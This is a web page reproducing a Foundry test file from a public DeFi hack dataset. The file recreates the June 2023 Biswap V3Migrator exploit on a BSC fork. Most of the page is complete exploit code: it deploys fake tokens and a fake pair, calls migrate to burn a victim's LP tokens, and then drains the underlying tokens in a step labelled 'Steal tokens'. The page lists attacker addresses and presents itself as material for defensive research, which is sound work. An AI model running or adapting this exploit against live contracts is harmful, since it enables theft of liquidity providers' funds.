Public reproduction file
src/test/2023-06/Biswap_exp.sol
Public reproduction file for dataset entry Biswap.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~72K8// Attacker - https://bscscan.com/address/0xa1e31b29f94296fc85fac8739511360f279b19769// Attack contract - https://bscscan.com/address/0x1d448e9661c5abfc732ea81330c6439b0aa449b510// Attack Tx : https://bscscan.com/tx/0xebe5248820241d8de80bcf66f4f1bfaaca62962824efaaa662db84bd27f5e47e, https://bscscan.com/address/0xa1e31b29f94296fc85fac8739511360f279b197612// @Analysis - https://twitter.com/MetaTrustAlert/status/1674814217122349056?s=2014interface V3Migrator {15 struct MigrateParams {16 address pair; // the Uniswap v2-compatible pair17 uint256 liquidityToMigrate; // expected to be balanceOf(msg.sender)18 address token0;19 address token1;20 uint16 fee;21 int24 tickLower;22 int24 tickUpper;23 uint128 amount0Min; // must be discounted by percentageToMigrate24 uint128 amount1Min; // must be discounted by percentageToMigrate25 address recipient;26 uint256 deadline;27 bool refundAsETH;28 }30 function migrate(31 MigrateParams calldata params32 ) external returns (uint256 refund0, uint256 refund1);33}35interface IBiswapFactoryV3 {36 function newPool(address tokenX, address tokenY, uint16 fee, int24 currentPoint) external returns (address);37}39contract SimpleERC20 {40 mapping(address => uint256) private _balances;42 mapping(address => mapping(address => uint256)) private _allowances;44 uint256 private _totalSupply;46 string private _name;47 string private _symbol;49 constructor(string memory name_, string memory symbol_) {50 _name = name_;51 _symbol = symbol_;52 }54 function balanceOf(55 address account56 ) public view virtual returns (uint256) {57 return _balances[account];58 }60 function transfer(address to, uint256 amount) public virtual returns (bool) {61 address owner = msg.sender;62 _transfer(owner, to, amount);63 return true;64 }66 function allowance(address owner, address spender) public view virtual returns (uint256) {67 return _allowances[owner][spender];68 }70 function approve(address spender, uint256 amount) public virtual returns (bool) {71 address owner = msg.sender;72 _approve(owner, spender, amount);73 return true;74 }76 function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {77 address spender = msg.sender;78 _spendAllowance(from, spender, amount);79 _transfer(from, to, amount);80 return true;81 }83 function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {84 address owner = msg.sender;85 _approve(owner, spender, allowance(owner, spender) + addedValue);86 return true;87 }89 function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {90 address owner = msg.sender;91 uint256 currentAllowance = allowance(owner, spender);92 require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");93 unchecked {94 _approve(owner, spender, currentAllowance - subtractedValue);95 }97 return true;98 }100 function _transfer(address from, address to, uint256 amount) internal virtual {101 require(from != address(0), "ERC20: transfer from the zero address");102 require(to != address(0), "ERC20: transfer to the zero address");104 uint256 fromBalance = _balances[from];105 require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");106 unchecked {107 _balances[from] = fromBalance - amount;108 // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by109 // decrementing then incrementing.110 _balances[to] += amount;111 }112 }114 function _mint(address account, uint256 amount) internal virtual {115 require(account != address(0), "ERC20: mint to the zero address");116 _totalSupply += amount;117 unchecked {118 // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.119 _balances[account] += amount;120 }121 }123 function _approve(address owner, address spender, uint256 amount) internal virtual {124 require(owner != address(0), "ERC20: approve from the zero address");125 require(spender != address(0), "ERC20: approve to the zero address");127 _allowances[owner][spender] = amount;128 }130 function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {131 uint256 currentAllowance = allowance(owner, spender);132 if (currentAllowance != type(uint256).max) {133 require(currentAllowance >= amount, "ERC20: insufficient allowance");134 unchecked {135 _approve(owner, spender, currentAllowance - amount);136 }137 }138 }139}141contract FakeToken is SimpleERC20 {142 uint256 token0Amount;143 uint256 token1Amount;145 constructor() SimpleERC20("fake", "fake") {146 _mint(msg.sender, 10_000e18 * 1e18);147 }148}150contract FakePair is SimpleERC20 {151 uint256 token0Amount;152 uint256 token1Amount;154 constructor() SimpleERC20("fakePair", "fakePair") {155 _mint(msg.sender, 10_000e18 * 1e18);156 }158 function update(uint256 t0, uint256 t1) external {159 token0Amount = t0;160 token1Amount = t1;161 }163 function burn(164 address to165 ) external returns (uint256, uint256) {166 return (token0Amount, token1Amount);167 }168}170contract ContractTest is Test {171 function setUp() public {172 // fork bsc173 uint256 forkId = vm.createFork("bsc", 29_554_461);174 vm.selectFork(forkId);175 }177 function testExploit() public {178 V3Migrator migrator = V3Migrator(0x839b0AFD0a0528ea184448E890cbaAFFD99C1dbf);179 IUniswapV2Pair pairToMigrate = IUniswapV2Pair(0x63b30de1A998e9E64FD58A21F68D323B9BcD8F85);180 address victimAddress = 0x2978D920a1655abAA315BAd5Baf48A2d89792618;182 IBiswapFactoryV3 biswapV3 = IBiswapFactoryV3(0x7C3d53606f9c03e7f54abdDFFc3868E1C5466863);183 //0. Preparations: create pool for fake tokens and transfer fake tokens to the migrator184 FakeToken fakeToken0 = new FakeToken();185 FakeToken fakeToken1 = new FakeToken();186 FakePair fakePair = new FakePair();187 biswapV3.newPool(address(fakeToken1), address(fakeToken0), 150, 1);188 fakeToken0.transfer(address(migrator), 1e9 * 1e18);189 fakeToken1.transfer(address(migrator), 1e9 * 1e18);191 uint256 liquidityValue = pairToMigrate.balanceOf(victimAddress);192 emit log_named_uint("liquidity to migrate", liquidityValue);193 IERC20 token0 = IERC20(pairToMigrate.token0());194 IERC20 token1 = IERC20(pairToMigrate.token1());195 assert(token0.balanceOf(address(this)) == 0);197 //1. Burn victim's LP token and add liquidity with fake tokens198 V3Migrator.MigrateParams memory params = V3Migrator.MigrateParams(199 address(pairToMigrate),200 liquidityValue,201 address(fakeToken1),202 address(fakeToken0),203 150,204 10_000,205 20_000,206 0,207 0,208 victimAddress,209 block.timestamp + 1 minutes,210 false211 );212 migrator.migrate(params);214 uint256 token0Balance = token0.balanceOf(address(migrator));215 uint256 token1Balance = token1.balanceOf(address(migrator));216 fakePair.update(token0Balance, token1Balance);217 emit log_named_decimal_uint("this token0 before", token0.balanceOf(address(this)), 18);218 emit log_named_decimal_uint("this token1 before", token1.balanceOf(address(this)), 18);220 //2. Steal tokens221 fakePair.transfer(address(this), 1e9 * 1e18);222 fakePair.approve(address(migrator), 1e9 * 1e18);223 V3Migrator.MigrateParams memory params2 = V3Migrator.MigrateParams(224 address(fakePair),225 liquidityValue,226 address(token0),227 address(token1),228 800,229 10_000,230 20_000,231 0,232 0,233 address(this),234 block.timestamp + 1 minutes,235 false236 );237 migrator.migrate(params2);239 assert(token0.balanceOf(address(this)) > 1e18);240 emit log_named_decimal_uint("this token0 after", token0.balanceOf(address(this)), 18);241 emit log_named_decimal_uint("this token1 after", token1.balanceOf(address(this)), 18);242 }243}Analysis
Dataset entry
Public Foundry test for “Biswap” (2023-06-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-06/ARA_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/BabyDogeCoin02_exp.solSame month in the dataset · 225 lines
- src/test/2023-06/Cellframe_exp.solSame month in the dataset · 170 lines
- src/test/2023-06/CFC_exp.solSame month in the dataset · 123 lines
- src/test/2023-06/CompounderFinance_exp.solSame month in the dataset · 124 lines
- src/test/2023-06/Contract_0x7657_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/DDCoin_exp.solSame month in the dataset · 151 lines
- src/test/2023-06/DEPUSDT_LEVUSDC_exp.solSame month in the dataset · 59 lines
- src/test/2023-06/MidasCapitalXYZ_exp.solSame month in the dataset · 194 lines
- src/test/2023-06/MIMSpell_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/MyAi_exp.solSame month in the dataset · 73 lines
- src/test/2023-06/NST_exp.solSame month in the dataset · 65 lines
- src/test/2023-06/Pawnfi_exp.solSame month in the dataset · 248 lines
- src/test/2023-06/SELLC03_exp.solSame month in the dataset · 97 lines
- src/test/2023-06/SHIDO_exp.solSame month in the dataset · 107 lines
- src/test/2023-06/STRAC_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/Sturdy_exp.solSame month in the dataset · 339 lines
- src/test/2023-06/Themis_exp.solSame month in the dataset · 266 lines
- src/test/2023-06/UN_exp.solSame month in the dataset · 68 lines
- src/test/2023-06/UnverifiedContr_9ad32_exp.solSame month in the dataset · 41 lines
- src/test/2023-06/VINU_exp.solSame month in the dataset · 106 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xa1e31b29f94296fc85fac8739511360f279b1976
- Attack contract
0x1d448e9661c5abfc732ea81330c6439b0aa449b5
- Attack Tx
0xebe5248820241d8de80bcf66f4f1bfaaca62962824efaaa662db84bd27f5e47e
File record
- Name
- Biswap
- Path
- src/test/2023-06/Biswap_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 78f55e01e520fe59128cf307dfd4f07a3ddecf13
- Language
- Solidity
- Size
- 244 lines
- Date
- 2023-06-30
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-06/Biswap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 78f55e01e520fe59128cf307dfd4f07a3ddecf13, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.